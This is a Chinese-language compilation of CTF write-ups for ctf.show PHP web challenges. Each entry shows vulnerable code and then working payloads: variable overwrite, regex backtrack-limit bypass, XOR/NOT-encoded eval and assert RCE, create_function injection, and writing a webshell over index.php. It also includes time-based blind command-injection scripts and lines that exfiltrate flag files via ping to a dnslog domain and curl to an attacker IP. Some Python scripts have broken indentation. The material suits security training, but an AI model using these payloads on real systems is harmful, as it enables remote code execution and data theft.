那么想办法读取这个变量,并赋智即可解决此问题

GET方法肯定不行,因为最外层if判断做了过滤,那么使用POST

但是代码里面没有POST读取该变量的代码,那么我们可以传进去。

备注:GET请求和POST请求获取参数后是存放在数组中的,数组名为$_GET和$POST,以键值对的形式

在使用extract函数,将数组里面的元素转化为变量,例如

我们通过POST请求传进三个参数,分别为name、sex和age,那么$POST数组应为:

$array = array("name"=>"zhangsan","sex"=>"boy","age"=>16);extract($array); 那么就可以使用$name、$sex和$age了

应用到本题目中,CTF_SHOW=1&CTF[SHOW.COM=1&fl0g=flag_give_me&fun=extract($_POST)

$f10g就为fl0g=flag_give_me了,即可获取flag
 <?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
GET:?a=1+fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
or
GET:?$fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])

这题似乎有bug,通过提交post参数
fun=eval($_REQUEST[m])&m=$fl0g%3d"flag_give_me";&CTF_SHOW=1&CTF[SHOW.COM=1
即可拿到flag
但是我在服务器上测试了,这个代码行不通,原因是fun参数eval($_REQUEST[m])的长度为18,超出了题目限制16,但是为什么也能成功呢,是某个版本的php特性吗?百思不得其解


WP 1、cli模式(命令行)下

第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数

2、web网页模式下 在web页模式下必须在php.ini开启register_argc_argv配置项 设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效 这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’] $argv,$argc在web模式下不适用 因为我们是在网页模式下运行的,所以 $_SERVER['argv'][0] = $_SERVER['QUERY_STRING']也就是$a[0]= $_SERVER['QUERY_STRING'] paayload CTF_SHOW=&CTF[SHOW.COM=&fun=assert($_SERVER['QUERY_STRING']) 这段代码将 CTF_SHOW 和 CTF[SHOW.COM 设置为空字符串,然后使用 assert($_SERVER['QUERY_STRING']) 执行 assert 函数,其中传递的参数是 $_SERVER['QUERY_STRING']。 在网页模式下,$_SERVER['QUERY_STRING'] 包含了从 URL 中获取的查询字符串。它被直接传递给了 assert 函数。 这样的代码结构允许通过修改 URL 中的查询字符串来执行任意的 PHP 代码。因为 assert 函数用于执行字符串中的 PHP 代码。
 <?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];


//特殊字符检测
function waf($url){
    if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
        return true;
    }else{
        return false;
    }
}

if(waf($url)){
    die("嗯哼?");
}else{
    extract($_GET);
}


if($ctf_show==='ilove36d'){
    echo $flag;
} 
GET:?ctf show=ilove36d

题目检查的是query_string而不是$_GET
因此可以利用不合法的变量名,让其自动替换成_
ctf%20show=ilove36d

'+' '['被过滤了,用%20替代
payload=ctf%20show=ilove36d
 <?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    echo "嗯哼?";
}



function check($str){
    return !preg_match('/[0-9]|[a-z]/i', $str);
} NULL 
https://www.cnblogs.com/lost-1987/articles/3309693.html https://www.php.net/manual/zh/book.gettext.php

小知识点: _()是一个函数

_()==gettext() 是gettext()的拓展函数,开启text扩展。需要php扩展目录下有php_gettext.dll

get_defined_vars()函数

get_defined_vars — 返回由所有已定义变量所组成的数组 这样可以获得 $flag

payload: ?f1=_&f2=get_defined_vars



真是骚操作,适用性太低了

就当开阔眼界吧,一般的 php 环境都不会这样配置的

_() 函数即 gettext() 函数,可以将参数翻译成指定语言,一般就是原封不动的输出参数

get_defined_vars 函数可以输出所有变量的信息,两者结合拿到 flag
 <?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
    $f = $_GET['f'];
    if(stripos($f, 'ctfshow')>0){
        echo readfile($f);
    }
} 
考察: 目录穿越

stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写) payload: /ctfshow/../../../../var/www/html/flag.php 查看源代码获得 flag

题目要求stripos($f, 'ctfshow'),也就是ctfshow在变量f中出现的第一个位置,此时需要构建一个目录,让ctfshow自行索引查找 paylaod: ?f=/ctfshow/../../../../../../../../../../../var/www/html/flag.php
其中的../../../这是深层目录,根据需要尝试,另外目录是根据之前的题目猜测得到,var/www/html/index.php也有回显

其实目录穿越只需要一级就行
f=/ctfshow/../var/www/html/flag.php

PHP对无法使用的filter过滤器只会抛出warning而不是error
payload: f=php://filter/ctfshow/resource=flag.php
 <?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = $_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f, 'ctfshow') === FALSE){
        die('bye!!');
    }

    echo $flag;

}
直接绕过正则表达式: f=ctfshow

?f[]=anything



正则匹配相关知识点

要想得到flag,首先必须正则匹配为false。

'/.+?ctfshow/is' 后面的i表示大小写匹配,s表示忽略换行符,单行匹配

在不加转义字符的前提下,前面的点表示任意字符,而“+?”表示非贪婪匹配,即前面的字符至少出现一次

所以,该正则匹配的意思为:ctfshow前面如果出现任意字符,即匹配准确

再根据下面的stripos为字符串匹配函数,要求输入的参数必须有“ctfshow”字符,所以输入的参数只需要满足ctfshow前面不加任意字符即可

post参数输入:f=ctfshow
 <?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = (String)$_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f,'36Dctfshow') === FALSE){
        die('bye!!');
    }

    echo $flag;

}
考察: 正则表达式是溢出 https://www.laruence.com/2010/06/08/1579.html 大概意思就是在php中正则表达式进行匹配有一定的限制,超过限制直接返回false

#payload:
<?php
echo str_repeat('very', '250000').'36Dctfshow';
#post发送过去就OK



writeup

import requests

burp0_url = "http://ec810ef8-afc6-4caa-b263-31519ba6ea59.challenge.ctf.show/"
# s = '../' * 333333
# long ../ won't work, got HTTP ERROR 413
s = '...' * 333333 + '36dctfshow'
print(len(s))
data = dict(f=s)
ret = requests.post(burp0_url, data=data).text

print(ret)

传 '../' * 333333 会 HTTP ERROR 413




正则匹配栈溢出的局限性

preg_match 函数的栈溢出会使其返回 false,在某些需要符合正则匹配的场景不适用




PHP回溯上限利用

常见的正则引擎,又被细分为DFA(确定性有限状态自动机)与NFA(非确定性有限状态自动机)。

    DFA: 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入。

    NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态。

大多数程序语言都使用NFA作为正则引擎,其中也包括PHP使用的PCRE库

PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit。

我们可以通过var_dump(ini_get('pcre.backtrack_limit'));的方式查看当前环境下的上限:结果返回为1000000

那么只需要输入的匹配字符串长度大于1000000,那么preg_match函数就会直接返回false,那么我们可以通过代码产生满足条件的字符串

echo "f=".str_repeat("very",250000)."36Dctfshow";

字符串“very”复制25万次,正好100万个字符

然后Post方式发送参数f,为生成的字符串即可得到flag
考察: php中&&和||运算符应用 访问/robots.txt,之后访问/admin,获得源代码 https://www.cnblogs.com/hurry-up/p/10220082.html 对于“与”(&&) 运算: x && y 当x为false时,直接跳过,不执行y; 对于“或”(||) 运算 : x||y 当x为true时,直接跳过,不执行y。 payload: ?a=admin&b=admin&c=admin

#在判断这个的时候
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin")
第一个$code === mt_rand(1,0x36D)为false,之后就执行|| $username ==="admin"#成功绕



扫描后台有/admin,URL/admin,考察php运算符优先级

    PHP中的逻辑“与”运算有两种形式:and 和 &&,同样“或”运算也有 or 和 || 两种形式。
    如果是单独两个表达式参加的运算,两种形式的结果完全相同
    但两种形式的逻辑运算符优先级不同,这四个符号的优先级从高到低分别是: &&、||、AND、OR。

最终只需满足code=admin&username=admin即可,根据参数需要填充的最终为:

payload: GET:?code=admin&username=admin&password=
 <?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("6个字母都还不够呀?!");
    }
} 

脚本搬运 BASH盲注,感谢作者(author: 颖奇L'Amore www.gem-love.com)

import requests import time as t from urllib.parse import quote as urlen

url = 'http://264547ad-430b-4422-a8b8-feca0bbdb164.challenge.ctf.show/?F=`$F%20`;' alphabet = ['{', '}', '.', '@', '-', '_', '=', 'a', 'b', 'c', 'd', 'e', 'f', 'j', 'h', 'i', 'g', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9']

result = '' for i in range(1, 60): for char in alphabet: # payload = "if [ ls | grep 'flag' |cut -c{} = '{}' ];then sleep 5;fi".format(i,char) #flag.php payload = "if [ cat flag.php | grep 'flag' |cut -c{} = '{}' ];then sleep 5;fi".format(i, char) # data = {'cmd':payload} try: start = int(t.time()) r = requests.get(url + payload) # r = requests.post(url, data=data) end = int(t.time()) - start if end >= 3: result += char print("Flag: " + result) break except Exception as e: print(e)
 <?php

highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
    die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
    die(file_get_contents('flag.php'));
} 
考察: php变量覆盖 利用点是 extract($_POST); 进行解析$_POST数组。 先将GET方法请求的解析成变量,然后在利用extract() 函数从数组中将变量导入到当前的符号表。 所以payload: ?_POST[key1]=36d&_POST[key2]=36d

?_POST[key1]=36d&_POST[key2]=36d
 <?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("师傅们居然破解了前面的,那就来一个加强版吧");
    }
} 
`$F`;+ping `cat flag.php|awk 'NR==2'`.6x1sys.dnslog.cn
#通过ping命令去带出数据,然后awk NR一排一排的获得数据
 <?php
error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}
?> 
payload: ls /|tee 1 访问1下载发现根目录下有flag payload: cat /f149_15_h3r3|tee 2 访问下载就OK


常规方式命令可执行,但是回显一直为1
因为>过滤,使用tee命令,可以变为另一个文件,类似>

payload: ?c=ls /|tee 2 访问2下载查看文件 ?c=cat /f149_15_h3r3|tee 3 访问下载查看文件3
 <?php

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}



call_user_func($_POST['ctfshow']);
考察: call_user_func()函数的使用 https://www.php.net/manual/zh/function.call-user-func.php

payload: POST: ctfshow=ctfshow::getFlag

ctfshow[]=ctfshow&ctfshow[]=getFlag
 <?php

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}

if(strripos($_POST['ctfshow'], ":")>-1){
    die("private function");
}

call_user_func($_POST['ctfshow']);
payload:
POST: ctfshow[0]=ctfshow&ctfshow[1]=getFlag
 <?php
error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}
?> 
import requests
import time
import string
str=string.ascii_letters+string.digits
result=""
for i in range(1,5):
key=0
for j in range(1,15):
if key==1:
break
for n in str:
payload="if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then
sleep 3;fi".format(i,j,n)
#print(payload)
url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?
c="+payload
try:
requests.get(url,timeout=(2.5,2.5))
except:
result=result+n
print(result)
break
if n=='9':
key=1
result+=" "


import requests
import time
import string
str=string.digits+string.ascii_lowercase+"-"
result=""
key=0
for j in range(1,45):
print(j)
if key==1:
break
for n in str:
payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep
3;fi".format(j,n)
#print(payload)
url="http://16fb8221-6893-4aee-95d5-dbe7163bded0.chall.ctf.show?
c="+payload
try:
requests.get(url,timeout=(2.5,2.5))
except:
result=result+n
print(result)
break


注意代码缩进

Hint 中的 Python 脚本没有代码缩进,实际编写时需要注意缩进的问题



这里的思路是,用''或者\来绕过命令的过滤,然后利用base64外带数据来找flag, 这里第一个难点是绕过url中的点号,例如ip为127.0.0.1 包含三个点号,无法外带, 就算是域名,也包含点号。 这里需要把ip地址转化为int。(工具可以百度搜索) 例如http://127.0.0.1/转化成:http://2130706433/ 最终构造payload的形式为:?c=cur\l http://ip转int/`command` 这里首先看一下当前目录下有什么东西 ?c=cur\l http://ip转int/`ls | ba\se64 发现flag不在当前目录。 那么就大概率在根目录 构造:?c=cur\l http://ip转int/ls / | ba\se64 看到了flag的文件:f149_15_h3r3 最终构造: ?c=cur\l http://ip转int/ca\t /f149_15_h3r3 | ba\se64`
<?php

error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
    $f1 = (String)$_POST['f1'];
    $f2 = (String)$_POST['f2'];
    if(preg_match('/^[a-z0-9]+$/', $f1)){
        if(preg_match('/^[a-z0-9]+$/', $f2)){
            $code = eval("return $f1($f2());");
            if(intval($code) == 'ctfshow'){
                echo file_get_contents("flag.php");
            }
        }
    }
}
考察: 函数的利用 payload: f1=usleep&f2=usleep

web140
(如果有不对的,还请师傅们帮忙指正~)

解答:根据代码可知,f1和f2必须是字母和数字。if判断是弱等于,需要intval($code)的值为0。

intval() 成功时,返回参数的 integer 值,失败时返回 0。空的 array 返回 0,非空的 array 返回 1。 字符串有可能返回 0,取决于字符串最左侧的字符。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。

所以需要$f1($f2());的返回值,或者是字母开头的字符串,或者是空数组,或者就是0,或者FLASE。

payload1: system(system())---> f1=system&f2=system

string system( string $command[, int &$return_var] ):成功则返回命令输出的最后一行,失败则返回 FALSE 。system()必须包含参数,失败返回FLASE;system('FLASE'),空指令,失败返回FLASE。

payload2: usleep(usleep())---> f1=usleep&f2=usleep usleep没有返回值。 所以intval参数为空,失败返回0

payload3: getdate(getdate())---> f1=getdate&f2=getdate

array getdate([ int $timestamp = time()] ):返回结果是array,参数必须是int型。所以getdate(getdate())---->getdate(array型)--->失败返回flase,intval为0。

f1=md5&f2=array
f1=sha1&f2=array
f1=fopen&f2=array
f1=filesize&f2=array
<?php
#error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/^\W+$/', $v3)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}
考察命令执行和绕过return 应该说运算符都可以绕过 这里用羽师傅给的一个脚本取反命令执行 ?v1=10&v2=0&v3=-(%8c%86%8c%8b%9a%92)(%9c%9e%8b%df%99%d5);

无字母参数构造payloa的脚本:

import os

import re

from urllib.parse import unquote

def make_dic(operation):

filename = f"rce_{operation}.txt"
if not os.path.exists(filename):

    print("Making dictionary...")

    with open(filename, "w") as myfile:
        contents = []
        seen = set()  # 使用集合来跟踪已添加的结果

        # 遍历所有可能的字节值(0-255)
        for i in range(256):
            for j in range(256):
                # 将$i和$j转换为两个字符的十六进制表示
                hex_i = f'{i:02x}'
                hex_j = f'{j:02x}'

                # 正则表达式用于匹配特定字符
                pattern = re.compile(r'[0-9a-z\^\+\~\$\[\]\{\}\&\-]', re.IGNORECASE)

                # 如果十六进制字符转换为二进制后匹配正则表达式,则跳过此循环
                if pattern.match(bytes.fromhex(hex_i).decode('latin1')) or pattern.match(
                        bytes.fromhex(hex_j).decode('latin1')):
                    continue

                # 将十六进制值添加百分号前缀并进行URL解码
                a = f'%{hex_i}'
                b = f'%{hex_j}'
                match operation:
                    case "and":
                        c = chr(ord(unquote(a)) & ord(unquote(b)))
                    case "or":
                        c = chr(ord(unquote(a)) | ord(unquote(b)))
                    case "xor":
                        c = chr(ord(unquote(a)) ^ ord(unquote(b)))

                # 如果解码后的字符是可打印字符(ASCII 32-126),则将其添加到内容列表中
                if 32 <= ord(c) <= 126 and c not in seen:
                    contents.append(f"{c} {a} {b}\n")
                    seen.add(c)  # 将结果添加到集合中

        # 将内容写入文件
        myfile.writelines(contents)
        print("Making dictionary...done")
else:
    print("Dictionary already exists!!")
def generate_payload(text, operation):

op_symbols = {"and": '&', "or": '|', "xor": '^'}
op = op_symbols[operation]
s1 = []
s2 = []
filename = f"rce_{operation}.txt"

with open(filename, 'r') as f:
    lines = f.readlines()

for char in text:
    for line in lines:
        if char == line[0]:
            s1.append(line[2:5])
            s2.append(line[6:].strip())
            break

return f"(\"{''.join(s1)}\"{op}\"{''.join(s2)}\")"
function = input("Please input your function: ")

command = input("Please input your command: ")

while True: operation = input("Please input your operation (and or xor): ") if operation in ["and", "or", "xor"]: break else: print("Please choose one of the following: and, or, xor")

make_dic(operation)

payload = generate_payload(function, operation) + generate_payload(command, operation)

print("Generated payload is :" + payload)
<?php

error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
    $v1 = (String)$_GET['v1'];
    if(is_numeric($v1)){
        $d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
        sleep($d);
        echo file_get_contents("flag.php");
    }
}
0和0x0绕过 这里绕过因为是因为当成了8进制和16进制
<?php

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}
位运算都可以进行构造字符 ?v1=10&v2=0&v3=*("%0c%19%0c%5c%60%60"^"%7f%60%7f%28%05%0d") ("%0e%0c%00%00"^"%60%60%20%2a")?>

看了大神的代码,然后写个python版本的,支持异或和或操作

# -*- coding: utf-8 -*-

"""
    @Author disda
    @Date 2023/5/16 10:23
    @Describe 
    @Dependency
    @Version 1.0
"""
# -*- coding: utf-8 -*-

"""
    @Author disda
    @Date 2023/4/26 18:56
    @Describe
    @Dependency
    @Version 1.0
"""
import re
import urllib
from urllib import parse

op_dict = {
    "yes_op": lambda x: x,
    "not_op": lambda x: not x,
    "or_op": lambda x, y: x | y,
    "xor_op": lambda x, y: x ^ y
}

sign = {
    'xor_op': '^',
    'or_op':'|'
}

def generate_coding(file_name, pattern, is_match, mode):
    """
    生成符合要求的编码
    @param file_name: 生成文件的名称
    @param pattern: 正则表达式
    @param is_match: 是否匹配正则,True表示匹配,False表示不匹配
    @param mode: 编码方式
    @return:
    """
    with open(file_name, 'w') as f:
        for i in range(256):
            for j in range(256):
                op = op_dict['not_op'] if is_match else op_dict['yes_op']

                # 如果当前外层循环元素被过滤了,直接跳过所有内层循环
                if op(re.search(pattern, chr(i))):
                    break
                # 如果当前内层循环元素被过滤了,跳过该元素
                if op(re.search(pattern, chr(j))):
                    continue

                # [2:]是因为python中hex表示是0xff这样的形式,去掉前面的0x,组成2位url编码
                hex_i = "0" + hex(i)[2:] if i < 16 else hex(i)[2:]
                hex_j = "0" + hex(j)[2:] if j < 16 else hex(j)[2:]
                # url编码的方式和ASCII码一样,但需要在前面加上%
                url_i = '%' + hex_i
                url_j = '%' + hex_j
                # c是我们要构造的参数,比如说我们要传ls命令,l就要拆分成a|b,其中|是因为题目没有过滤|,我们可以修改成其他任意操作如^
                c = op_dict[mode](ord(urllib.parse.unquote(url_i)), ord(urllib.parse.unquote(url_j)))
                # 如果c是可见的字符
                if c >= 32 and c <= 126:
                    f.write(chr(c) + " " + url_i + " " + url_j + '\n')


def action(arg,file_name,mode):
    s1 = ""
    s2 = ""
    for i in arg:
        f = open(file_name, "r")
        while True:
            t = f.readline()
            if t == "":
                break
            if t[0] == i:
                s1 += t[2:5]
                s2 += t[6:9]
                break
        f.close()
    output = "(\"" + s1 + "\""+sign[mode]+"\"" + s2 + "\")"
    return (output)

file_name = 'rce.txt'
mode = 'xor_op'
reg = '^\W+$'
generate_coding(file_name,reg,True,mode)
while True:
    param = action(input("\n[+] your function:"),file_name,mode) + action(input("[+] your command:"),file_name,mode) + ";"
    print(param)

1、使用动态调用函数+异或,避免报错使用-、+、*隔开,异或符号为^(数字6的上面),异或规则:相同为0,不同为1,比如1^1=0,1^0=1,找到16进制数字,然后用%做URL编码

2、自己算可以,有大神脚本直接出也行 payload: GET:?v1=1&v2=1&v3=(%fa%fa%fa%fa%fa%fa^%89%83%89%8e%9f%97)(%fa%fa%fa%fa%fa%fa%fa^%8e%9b%99%da%d0%9b%d0)
<?php


highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && check($v3)){
        if(preg_match('/^\W+$/', $v2)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

function check($str){
    return strlen($str)===1?true:false;
}
?v1=10&v2=(%8c%86%8c%8b%9a%92)(%9c%9e%8b%df%99%d5);&v3=-

怎么说呢?我遇到的问题主要是空字节, payload:url/?v1=1&v3=1&v2=(%8c%86%8c%8b%9a%92^%ff%ff%ff%ff%ff%ff)(%8b%9e%9c%df%99%93%9e%98%d1%8f%97%8f^%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff) 
来自大佬的代码: 
______________________________分割符——————————————————————
 $a = "system"; echo "v1=1&v2=1&v3=("; for ($i = 0; $i < strlen($a); $i++) { echo "%".dechex(ord($a[$i])^0xff); } echo "^"; for ($i = 0; $i < strlen($a); $i++) { echo "%ff"; } echo ")";#(%8b%9e%9c%df%99%93%9e%98%d1%8f%97%8f^%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff) #?v1=1&v2=1&v3=(%8c%86%8c%8b%9a%92^%ff%ff%ff%ff%ff%ff)(%8b%9e%9c%df%99%93%9e%98%d1%8f%97%8f^%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff) 稍微修改一下,两个()()前后依次为(system)(具体命令)
<?php

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}
?v1=%0a1&v2=%0a0&v3=?(~%8c%86%8c%8b%9a%92)(~%9c%9e%8b%df%99%d5):
<?php

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}
?v1=1&v2=1&v3=|(~%8c%86%8c%8b%9a%92)(~%9c%9e%8b%df%99%d5)|
<?php

highlight_file(__FILE__);

if(isset($_POST['ctf'])){
    $ctfshow = $_POST['ctf'];
    if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
        $ctfshow('',$_GET['show']);
    }

}
php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路 径; 而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写 法

payload:
GET ?show=;};system('grep flag flag.php');/*
POSOT ctf=%5ccreate_function

web147
解答:(如果有不对的地方,还希望师傅们帮忙指正)

正则匹配绕过,只要ctfshow里有一个不是数字、小写字母和下划线就能绕过。

/i:大小写不敏感匹配

/s:点号元字符匹配所有字符,包含换行符。

/D:元字符美元符号仅仅匹配目标字符串的末尾

php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 调用一个函数时直接写函数名function_name(),相当于是相对路径调用; 如写某一全局函数的完全限定名称\function_name()调用,则是写了一个绝对路径。

在这里插入图片描述

(详情可以看php手册里的命名空间部分)

所以post时ctf可以通过加上\绕过匹配。

找个不需要第一个参数的函数。可以用create_function匿名函数。虽然该函数自PHP 7.2起已经弃用,但是还是可以eval执行函数,只是需要把匿名部分闭合。

get:?show=}system('tac f*');/* post:ctf=%5ccreate_function 在这里插入图片描述

可以这么理解:create_function创建一个匿名函数,我们假设就叫niming。 string create_function( string $args, string $code)那么具体就是如下面所示的样子:

function niming($args,...){
		$code
}
所以就需要}闭合,闭合之后,那就多出来一个},这就需要用注释符注释掉。
<?php

include 'flag.php';
if(isset($_GET['code'])){
    $code=$_GET['code'];
    if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
        die("error");
    }
    @eval($code);
}
else{
    highlight_file(__FILE__);
}

function get_ctfshow_fl0g(){
    echo file_get_contents("flag.php");
}
#payload ?code=("%0c%19%0c%5c%60%60"^"%7f%60%7f%28%05%0d") ("%09%01%03%01%06%02"^"%7d%60%60%21%60%28"); 预期解是使用中文 ?code=$哈="{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f* "{{{"^"?<>/"; 异或出来的结果是 _GET
<?php

error_reporting(0);
highlight_file(__FILE__);

$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
}

file_put_contents($_GET['ctf'], $_POST['show']);

$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
}
GET: ?ctf=index.php show=

重写index,写个马进去 然后访问index POST:cmd=system('cat /ctfshow_fl0g_here.txt');
<?php

include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
    private $username;
    private $password;
    private $vip;
    private $secret;

    function __construct(){
        $this->vip = 0;
        $this->secret = $flag;
    }

    function __destruct(){
        echo $this->secret;
    }

    public function isVIP(){
        return $this->vip?TRUE:FALSE;
        }
    }

    function __autoload($class){
        if(isset($class)){
            $class();
    }
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
    die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
    echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE){
    include($ctf);
}
文件包含非预期绕过

这题用extract()函数来进行变量的覆盖来满足if($isVIP && strrpos($ctf, ":")===FALSE)这个条件,get传入ctfshow?isVIP=Ture,再抓包通过向user-agent传入,最后post传入ctf=/var/log/nginx/access.log&a=system('cat flag.php');完工。
